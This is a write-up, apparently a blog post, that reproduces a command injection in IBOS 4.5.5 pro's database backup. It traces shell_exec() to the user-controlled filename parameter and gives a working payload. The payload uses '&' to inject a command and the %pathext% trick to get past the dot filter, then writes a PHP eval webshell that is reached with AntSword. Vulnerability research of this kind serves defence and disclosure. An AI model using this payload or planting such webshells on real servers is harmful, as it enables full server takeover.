Reproduction and simple exploitation of ibos4.5.5pro command execution vulnerability

Vulnerability description

There is a command injection vulnerability in IBOS. This vulnerability originates from the command injection vulnerability in the database backup in the IBOS 4.5.4 Open version. An attacker could exploit this vulnerability to gain control of the server.

Source code analysis

Download the source code from the official website, and we use the SeayDzend decryption tool to decrypt the source code on the virtual machine. first step,

Locate the dangerous function shell_exec()

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host="{$db["host"]}" $command5 - -user="{$db["username"]}" --password="{$db["password"]}" "{$db["dbname"]}" $tablesstr > $ dumpFile");

Let’s analyze the role of this dangerous function:

1. The shell_exec() function is used to execute shell commands and return the output results.
2. {$mysqlBin}mysqldump is the part that executes the MySQL database export command. $mysqlBin is the path to the MySQL executable file.
3. The --force parameter is used to force the export operation.
4. The --quick parameter is used to quickly export the database.
5. $command1, $command2, $command3, $command5 are some additional command parameters.
6. The --add-drop-table parameter is used to drop all tables in the target database before exporting data.
7. The --host="{$db["host"]}" parameter specifies the host address of the database.
8. $command5 is another additional command parameter.
9. The --user="{$db["username"]}" parameter specifies the username used to connect to the database.
10. The --password="{$db["password"]}" parameter specifies the password used to connect to the database.
11. {$db["dbname"]} is the name of the database to be exported.
12. $tablesstr is the list of tables to be exported. If it is empty, all tables will be exported.
13. The > symbol redirects the exported data to the specified file, and the file path is specified by $dumpFile. 

In short, this code uses the shell_exec() function to execute a shell command. The command exports the data of the specified database by calling MySQL’s mysqldump tool and saves the results to the specified file.And the code The file path $dumpFile is what we can use (during source code auditing, variables that generally appear at the end of dangerous functions can allow us to splice malicious code)

The second step is to continue looking upward for the location of $dumpFile and see how $dumpFile generates Locate the assignment of $dumpFile

$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql";

Code analysis:

1. First, use the function core\utils\PATH_ROOT to obtain the root path, and use the function core\utils\addslashes to escape the path.
2. Concatenate the escaped root path with "/" and the backup file name and ".sql" suffix.
3. Finally, store the spliced path in the variable $dumpFile. 

Check the generation of the $dumpfile function and find that the suffix of the generated file is fixed to .sql, but you can use the “||” or “& &” splicing instructions. Continue to follow the $backupFileName function, track how the $backupFileName variable is generated, and what defensive operations are performed

$backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "", ".", "'"), "", $fileName);</ pre>
<p>Code analysis:</p>
<pre>1. Pass the given file name as a parameter to the str_replace function.
2. The first parameter in the str_replace function is an array containing multiple strings to be replaced, including "/", "", "." and "'".
3. The str_replace function replaces slashes, backslashes, dots, and single quotes in file names with empty strings.
4. Concatenate the replaced file name and the backup directory path (BACKUP_DIR) to form the complete path of the backup file.
5. Assign the backup file name to the variable $backupFileName. 

It is explained here that $backupFileName is filtered by $fileName, and here we need to locate $fileName

Analyze the generated code of $fileName:

$fileName = core\utils\Env::getRequest("filename");
 1. Use the getRequest method of the core\utils\Env class to obtain the value of the request parameter "filename".
 2. Assign the obtained value to the variable $fileName. 

(The process of following the getRequest method is too complicated and will not be described here.) In a word, this method is to request parameters and receive data, which is equivalent to

$_GET["filename"] or $_POST["filename"]

Organize ideas

After analyzing so much source code, let’s take a look at the utilization ideas here. First, we find a parameter $filename in the databaseBackup() method, construct it, filter the value and pass it to $backupFileName. Then $backupFileName splices the constructed malicious instruction code into $dumpfile, and finally uses shell_exec () method executes the command we constructed, and then gets the shell by accessing the webshell.

One additional point here: If you want to execute the shell_exec() method, you must make the value here not equal to “multivol”

As for the specific reasons, look at the picture below (because the conditional judgment content here is too long, there may be some errors in the positioning of key information, just understand it)

Set up the environment locally, log in to the administrator account, and then click on the background

Find the corresponding function block (there are obvious tips here to use dump backup)

The next step is to bypass the filtering of file names (dots, single quotes) seen in the source code before, use burpsuite to grab a package, construct the payload, and insert it into the file name.

PAYLOAD

&echo "<?php eval($_REQUEST[8]);?>" >1%pathext:~0,1%php&

Analysis:

 : The empty character after url encoding (the reason for encoding is that the filename here uses get to pass parameters. For the specific reason why it uses get to pass parameters, please see the source code analysis above)

&: URL-encoded '& amp;', used to execute multiple commands

echo "<?php eval($_REQUEST[8]);?>" >File name: Write the webshell into the specified file (the more common way of writing it should be like this:
echo '<?php eval($_REQUEST[8]);?>' >1.php)

%pathext:~0,1%: The default value of the pathext variable in the windows terminal is .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH, and then pass % % to reference the value in pathext, and add:~0,1 after the variable name to cut the variable value, leaving only the first variable value, which is '.', thus achieving bypass. 

(Post an article here: https://bbs.zkaq.cn/t/4557.html, which introduces the principle of this bypass method in detail)

Supplement: The sql file name is a parameter we can control. By splicing the command into the file name, command injection can be achieved

We capture the packet and modify the incoming file name

Check whether the webshell is available through phpinfo()

Connect Ant Sword

syntaxbug.com © 2021 All Rights Reserved.